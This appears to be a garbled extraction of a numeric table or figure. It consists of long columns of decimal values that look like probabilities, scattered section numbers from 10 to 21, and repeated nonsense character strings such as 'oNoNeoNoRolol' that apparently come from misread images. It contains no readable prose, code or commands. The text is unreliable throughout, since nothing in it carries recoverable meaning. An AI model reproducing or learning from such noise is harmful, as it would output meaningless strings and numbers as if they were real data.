.000000
.000000
.000000
.000000
.000000

.048501
.460147
.487820
.001734
.000014

O O OO

lcNeoNoNoNoRolololNoNoNoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNolololololNoNolNolNoNolNolN o]

.000001
.000000
.000000
.000000

.000346
.034488
.000002
.000000
.000001
.000004
.000015
.000003
.000002
.000027
.000010
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.000352
.012229

O O OO

lcNeoNoNoNoRololoNoNoNoNoNoloholNoNoNoNoNoNoNolololoNoNoNoNolNololololNoNolNolNoNolNolN o]

0
0

.000000
.000000
.000000
.000000

.929869
.007541
.000001
.000000
.000004
.000002
.000036
.000030
.000013
.000000
.000001
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.960274
.000006
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oNoNoNoNoNoNoRolNoholNoNoNoNoloNolNoNohoNoNoNololNoloNoloNolNoloNololNololNolNolNolo]

leoNoNoNoNoNoNolNolololololNolNo]

.000003
.000000
.000001
.000004
.000004
.000001
.000034
.000045
.000065
.000006
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

10

.040264
.955175
.070200
.974605
.000003
.000002
.000000
.000001
.000002
.000002
.000000
.000021
.000029
.000041
.000004

oNoNoNoNoNoNeoRolNeohoNoNoNoNolNoNoNolNohoNoNoNololNoloNoloNolNoloNololNololNolNolNolNo]

leoNoNoNoNoNoNolNolololololNolNo]

.000001
.002465
.000000
.000006
.000004
.000029
.000010
.000011
.000010
.000004
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.009085
.984578
.003024
.000001
.000851
.000001
.000001
.000000
.000004
.000002
.000018
.000006
.000007
.000006
.000003

oNoNoNoNoNoNeoRolNohoNoNoNoNoloNoNolNoloNoNoNololNoloNoloNoloNoNololNololNolNolNolo]

eloNoNoNoNoNoNololololololNolNo]

.000002
.000000
.000001
.000005
.000010
.000047
.000007
.000027
.000010
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047915
.464265
.484906
.000007
.000009
.000001
.000000
.000000
.000003
.000006
.000030
.000005
.000017
.000006
.000002

oNoNoNoNoNoNeoRolNeohoNoNoNoNolNoNolNoNohoNoNoNololNoloNoloNolNoNoNololNololNolNolNolo]

OO OO OO0 OOooOooo

.000002
.000000
.000001
.000004
.000015
.000003
.000002
.000028
.000010
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.016813
.000005
.000001
.000000
.000001
.000002
.000009
.000002
.000001
.000017
.000006
.000002

oNoNoNoNoNoNoRolNoholNoNoNoNolNoNolNolNohoNoNoNololNoloNoloNolNoNoNololNololNolNolNolo]

OO OO OO0 OOoOooOo

.000001
.000000
.000004
.000002
.000036
.000030
.000013
.000000
.000001
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.007380
.000003
.000000
.000000
.000002
.000001
.000023
.000019
.000008
.000000
.000000
.000002
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eNeoNohoNoNoNoNoNoNololoBololNoNoNoNolNolNolololNolNolNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNoBololBoNoNoNoNoNolNolololNe]

.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

11

.465423
.464376
.061054
.977624
.000003
.000002
.000000
.000001
.000002
.000002
.000000
.000021
.000029
.000041
.000004
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.967048
.000053

eNeoNohoNoNoNoNoNoNololoBololNoNoNoNolNolNolololNololNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNololoBoNoNoNoNolNolNololelNe]

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003577
.993399
.002997
.000001
.000002
.000001
.000001
.000000
.000004
.000002
.000018
.000006
.000007
.000006
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018

eNeoNohoNoNoNoNoNoNoNoloBololNoNoNoNolNolNolololNololNolNolNolNo]

eNeoNoNoloRololNoNoNoNoNoNoBoloBoNoNoNoNoNolNololelNe]

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047128
.467966
.488669
.001384
.000009
.000001
.000000
.000000
.000003
.000006
.000030
.000005
.002541
.000006
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087

eNeoNohoNoNoNoNoNoNololoBoloNoNoNoNolNolNolololNololNolNolNolNo]

eNeoNoNoloRoNolNoNoNoNoloNolololNoNoNoNolNololNe]

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.009923
.000005
.000001
.000000
.000001
.000002
.000009
.000002
.000001
.000018
.000006
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047

eNeoNohoNoNoNoNoNoNololoBololNoNoNoNolNolNolololNolNolNolNolNolNo]

ecNeoNoNoloRoNolNoNoNoNoloNolololNoNoNoNolNololNe]

.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.008195
.000003
.000000
.000000
.000002
.000001
.000023
.000019
.000009
.000000
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
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oNoNeoNoNeoNoNeoBolohololNolNolNolololNolNo)

eoNeoNoNoNoNoNolololololoNoBolNolololNolNolNolNoNolNolNololololNololNololNolNolNo]

.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

12

.475414
.463532
.058830
.962947
.000003
.000002
.000000
.000001
.000002
.000002
.000000
.000022
.000029
.000042
.000004
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020

oNoNeoNoNeoNoNeoBolNoholololNolNololololNo)

eoNoNoNoNoNoNololololNoloNoBolNolololNolNoNoloNolNolololololNololNololNolNolNo]

.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003587
.993416
.003009
.000001
.000002
.000001
.000001
.000000
.000004
.000002
.000019
.000007
.000007
.000006
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017

oNoNeoNoNeoNoNeoBolNoholololNolNololololNo)

eoNoNoNoNoNoNolololololBoNoBolNololNolNoNoNolNoNolNolNololololNololNeololNolNolNo]

.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047114
.464217
.488838
.001968
.000009
.000001
.000000
.000000
.000003
.000006
.000030
.002626
.000017
.000007
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013

oNoNeoNoNeoNoNeoBolNoholoNolNolNolololNolNo)

eNoNeoNoNoNoNoNolololoNoloNololNoBolNololNoNoNoNolNolNololNololNololNollo]

.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.022889
.000006
.000001
.000000
.000001
.000002
.000009
.000002
.000001
.000018
.000006
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019

oNoNoNoNeoNoNoBolNoholololNolNolololNolNo)

eNoNeoNoNoNoNoNolNooloNoloNololNololNololNoNoNoNolNolololololNoloNello]

.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.009221
.000003
.000000
.000000
.000002
.000001
.000023
.000019
.000009
.000000
.000000
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
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O O O OO O oo

eNeoBoRoNoNoNoNoNoloNolololNoNoNoNoNoloRoloNoNoNoNoNoNoloRoloNoNoNoNolololNolololNoNolNolNo)

(@)

.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

13

.474273
.466897
.058527
.968727
.000003
.000002
.000000
.000001
.000002
.000002
.000000
.000022
.000030
.000043
.000004
.000002
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

14

.476659

O O O OO O oo

eNeoBoRoNoNoNoNoNoloNolololoNoNoNoNoloRoloNoNoNoNoNoNolololNoNoNoNoNolololNolololNolNolNolNo)

(@)

.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003559
.993432
.002991
.000001
.000002
.000001
.000001
.000000
.000004
.000002
.000019
.000007
.000007
.000006
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003531

O O O OO O oo

eNeoBoRoNoNoNoNoNoloNololBolNoNoNoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNolololNolololNolNolNolNo)

(@)

.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047133
.464029
.488718
.000008
.000009
.000001
.000000
.000001
.000003
.000006
.000031
.000005
.000017
.000007
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047137

O O O OO O oo

ocNeoBoRoNoNoNoNoNoloNoloBoloNoNoNoNolNoRololNoNoNoNoNoNolNololoNoNoNoNoNolNololololNol

.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.025589
.000006
.000001
.000000
.000001
.000002
.000010
.000002
.000002
.000018
.000006
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

O O O OO O oo

ocNeoBoRoNoNoNoNoNoloNoloBoloNoNoNoNolNoRololoNoNoNoNoNoNololoNoNoNoNoNolNololololNol

.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.005317
.000003
.000000
.000000
.000002
.000001
.000024
.000020
.000009
.000000
.000001
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
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oNoNeoBoNeoNoNeoNolNoholololoNolNoNoBolNohoNoNoNoNoNoloNoNolBoNololNololNoloNoNoNolNolololNolNo)

O O O OO0 Ooo oo

.464814
.058299
.961590
.000003
.000002
.000000
.000001
.000003
.000002
.000000
.000022
.000030
.000044
.000004
.000002
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

15

.476284
.465417
.058185
.991378
.000003
.000002
.000000
.000001
.000003
.000002
.000000

oNoNeoNoNeoNoNeoNolNohololNoNolNolNoNoBolNohoNoNoNoNoNololNoNolBoNololNololNoloNoNoNolNolNololNolNo)

O O O OO0 Ooo oo

.993479
.002973
.000001
.000002
.000001
.000001
.000000
.000004
.000002
.000019
.000007
.000008
.000006
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003443
.993584
.002961
.000001
.000002
.000001
.000001
.000000
.000004
.000002
.000020

oNoNeoNoNeoNoNeoNolNoholololNoNolNoNololNoloNoNoNoNoNoloNoNolBoNololNolololoNoNoNolNolololNolNo)

O O O OO0 Ooo oo

.464144
.488656
.001155
.000009
.000001
.000000
.000001
.000003
.000006
.000031
.000005
.000018
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047108
.464236
.488605
.000008
.000009
.000001
.000000
.000001
.000003
.000007
.000032

oloNeoBoNoNoNeoNoloBolololNoNoNoNoNoNohoNoloNoNoNoloNololBolNolNoNololololNoloNolNolNeollo)

O O OO OO oo

.026614
.000006
.000001
.000000
.000001
.000002
.000010
.000002
.000002
.000018
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.007013
.000006
.000001
.000000
.000001
.000002
.000010
.000002

oloNeoBoNoNoNeoNoloBololNolBoNoNoNoNoNohoNoloNoNoNololNololBolNolNoNololNololNoloNolNolNeollo)

O O OO OO oo

.010274
.000003
.000000
.000000
.000002
.000002
.000024
.000020
.000009
.000000
.000001
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.001226
.000003
.000000
.000000
.000002
.000002
.000025
.000020
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ecNeoNoBolNoNoNoNoNoNoNoloBoBoloNoNoNoNolNololololoNoNoNoNolNolololNe)

cNeoNoNoloRoloNoNoNoNoNoNolololNololNolNolNolNo]

.000023
.000031
.000045
.000004
.000002
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

16

.476848
.464967
.058167
.965902
.000003
.000002
.000000
.000001
.000003
.000002
.000000
.000023
.000032
.000046
.000004
.000002
.000000
.000000
.000000
.000001
.000000

ecNeoNoBolNoNoNoNoNoNoNoloBoBolNoNoNoNoNolNololololoNoNoNolNolNolololNe)

cNeoNoNoloRoloNoNoNoNoNoNolololNolNolNolNolNolNo]

.000007
.000008
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003502
.993537
.002946
.000001
.000002
.000001
.000001
.000000
.000004
.000002
.000020
.000007
.000008
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000

eNeoNololNoNoNoNoNoNoNoloBoBolNoNoNoNoNolNololololoNoNoNoNolNololoNe)

cNeoNoNoloRoloNoNoNoNoNoNolololNolNolNolNolNolNo]

.000005
.000018
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047136
.464259
.488519
.000008
.000010
.000001
.000000
.000001
.000003
.000007
.000033
.000005
.000019
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000

eNeoNoBoNoNoNoNoNoNoNoloBoBoloNoNoNoNolNololololoNoNoNolNolNolololNe)

lcNeoNoNoloRololNoNoNoNoNoNololololNolNe)

.000002
.000019
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.016123
.000006
.000001
.000000
.000001
.000002
.000010
.000002
.000002
.000019
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000

eNeoNoBoNoNoNoNoNoNoNoloBoBoloNoNoNoNolNololololoNoNoNoNolNololoNe)

cNeoNoNoloRoloNoNoNoNoNoNololololNolNo)

.000009
.000000
.000001
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.017584
.000004
.000000
.000000
.000002
.000002
.000025
.000021
.000009
.000000
.000001
.000002
.000000
.000000
.000000
.000000
.000000
.000000
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cloNeoNoNeoNoNoNolololoNololNololololololNelNolNe]

[coNeoNoNoNoNoNolooBoNoloNoBoNololNoNolNololoNoNolololNololNololNe]

.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

17

.476368
.465465
.058146
.979820
.000003
.000002
.000000
.000001
.000003
.000003
.000000
.000024
.000032
.000047
.000004
.000002
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002

cloNeoNoNeoNoNoNolololoNololNololololololNelNolNo]

[coNeoNoNoNoNoNolooBoNoloNoBoNololNololNololNoNoNolNolNolNololNololNe]

.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003444
.993611
.002931
.000001
.000002
.000001
.000001
.000000
.000004
.000003
.000021
.000007
.000008
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133

cloNeoNoNeoNoNoNolololoNololNololololololNelNolo]

[coNeoNoNoNoNoNololoBoNoloNoBoNololNolNolNololoNoNololNolNololNololNe]

.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047115
.464367
.488490
.000008
.000012
.000001
.000000
.000001
.000003
.000007
.000034
.000005
.000019
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219

oNoNeoNoNeoNoNoNolololoNololNololololololNelNolo]

oloNeoNoNoNoNoNolohololNolBoNoBoNololNololNolNolNololNololNolNolNo]

.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.012936
.000006
.000001
.000000
.000001
.000003
.000010
.000002
.000002
.000020
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013

cNoNeoNoNeoNoNoNolNololoNololNololololololNelNolNe]

oloNeoNoNoNoNoNoloholoNolBoNoBoNololNololNolNolNololNololNolNolNo]

.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.006842
.000004
.000000
.000000
.000003
.000002
.000026
.000021
.000010
.000000
.000001
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
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[eNeoNoNolololNolNolNolNolNolNo]

ecNeoNoNoloRololNoNoNoNoNoNolololNoNoNoNoNoNolololNoloNoNoNoNoNolNolololNolNoNoNolNolN ool

.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

18

.476112
.465742
.058136
.984783
.000003
.000002
.000000
.000001
.000003
.000003
.000000
.000025
.000033
.000048
.000004
.000002
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001

[eNeoNoNolololNolNoNolNolNolNo]

ecNeoNoNoloRololNoNoNoNoNoNolololNoNoNoNoNoNolololNoloNoNoNoNoNoNolololNolNoNoNolNolN ool

.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003420
.993649
.002964
.000001
.000002
.000001
.000001
.000000
.000004
.000003
.000021
.000007
.000008
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000

[eNeoNoNolololNolNolNolNolNolNo]

oNeoNoNoloRololNoNoNoNoNoNolololNoNoNoNoNoNolololNoloNoNoNoNoNolNolBololNolNoNoNolNolNololNo]

.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047096
.464414
.488243
.000008
.001264
.000001
.000000
.000001
.000004
.000007
.000034
.000005
.000019
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000

[eNeoNoNolNololNolNolNolNolNolNo]

eoNeoNoNoBoRoNoNoNoNoNololNolololNoNoNoNoNoloBololNolNoNoNoNoNololololNolNolNolNolNolNo]

.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.012171
.000006
.000001
.000000
.000001
.000003
.000011
.000002
.000002
.000020
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000

[eNeoNoNolNololNolNolNolNolNolNo]

eoNeoNoNoloRoNoNoNoNoNololNolololNoNoNoNoNoloBololNolNoNoNoNoNololololNolNolNolNolNolNo]

.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.001381
.000004
.000000
.000000
.000003
.000002
.000027
.000022
.000010
.000000
.000001
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
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o O

oNoNeoBoNoNoNololoholNoNoNoNolBoNoBolNololNololNololNeoNoNoNolNoNoloNoloNololNololNeololNeoloNololNel

O O OO o oo

.000000
.000000

19

.476005
.465859
.058130
.990561
.000003
.000002
.000000
.000001
.000003
.000003
.000000
.000025
.000034
.000049
.000004
.000002
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

20

.476154
.465715
.058107
.983984
.000003
.000003
.000000

o O

eoNoNeoBoNoNoNololololNoNoNoNolBoNoBolNololNololNololNeoNoNoNolNoNoloNoloNololNololNololeoloNololNel

O O OO o oo

.000000
.000000

.003415
.993620
.002964
.000001
.000002
.000001
.000001
.000000
.000005
.000003
.000022
.000008
.000009
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003423
.993613
.002952
.000001
.000002
.000001
.000001

o O

eoNoNeoBoNeoNoNololoholNoNoNoNolBoNoBolNoloNololololNeoNolNoNolNoNoloNoloNololNololNololeoloNololNel

O O OO o oo

.000000
.000000

.047089
.464668
.488202
.000941
.000011
.000002
.000000
.000001
.000004
.000007
.000036
.000006
.000020
.000008
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047090
.464708
.488238
.000009
.000011
.000002
.000000

oloNeoBoNoNoNeolololololoBoNolBoNoloNoholNololNoNolNoNoNoloBolNoBoNololNeololNololNelolNelNe)

O O O o

.000000
.000000

.006673
.000006
.000001
.000000
.000001
.000003
.000011
.000002
.000002
.000021
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.004583
.000007
.000001
.000000

oloNeoBoNoNoNolololololoBoNolBoNoloNoholNololoNolNolNoNoloBolNoBoNololNololNololNelolNelNeo)

eoNoNeoNe)

.000000
.000000

.001411
.000004
.000000
.000000
.000003
.000002
.000027
.000023
.000010
.000000
.000001
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.010996
.000004
.000000
.000000
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ecNeoNoholBoNoNoNoNoNoNoNoBololNoNoNoNololNolololNoNoNoNoNolNololoNolNolNolNolNolNo]

eoNoNoNoloRololNoNoNoNolNoNolololNolNo

.000001
.000003
.000003
.000000
.000026
.000035
.000051
.000004
.000002
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

21

.476117
.465776
.058061
.990476
.000004
.000003
.000000
.000001
.000003
.000003
.000000
.000027
.000037
.000053
.000004
.000002
.000000

ecNeoNohoBoNoNoNoNoNoNoNoBololoNoNoNololNolololNoNoNoNoNolNololoNolNoNolNolNolNo]

eoNeoNoNoloRolNolNoNoNoNolNoNolololNolNo

.000000
.000005
.000003
.000022
.000008
.000009
.000007
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003429
.993619
.002949
.000688
.000002
.000001
.000001
.000000
.000005
.000003
.000023
.000008
.000009
.000008
.000003
.000000
.000000

ecNeoNohoBoNoNoNoNoNoNoNoBololoNoNoNololNolololNoNoNoNoNolNololoNolNoNolNolNolNo]

eoNeoNoNoloRololNoNoNoNoNoNolololNolNo

.000001
.000004
.000007
.000037
.000006
.000021
.000008
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047081
.464680
.488331
.001069
.000011
.000002
.000000
.000001
.000004
.000008
.000038
.000006
.000021
.000008
.000003
.000000
.000000

ecNeoNololBoNoNoNoNoNoNoNoBololNoNoNoNoloNolololNoNoNoNoNolNololoNolNolNolNolNolNo]

[eNeoNoNoNoRolNoloNolNoNolNolNolNe]

.000001
.000003
.000011
.000002
.000002
.000021
.000008
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.004511
.000007
.000001
.000000
.000001
.000003
.000012
.000002
.000002
.000022
.000008
.000003
.000000
.000000

ecNeoNoRoBoNoNoNoNoNoNoNoBololNoNoNoNololNolololNoNoNoNoNolNololoNolNolNolNolNolNo]

[eNeoNoNolNoRolNoloNolNoNolNolNolNe]

.000003
.000002
.000028
.000023
.000010
.000000
.000001
.000002
.000000
.000000
.000000
.000000
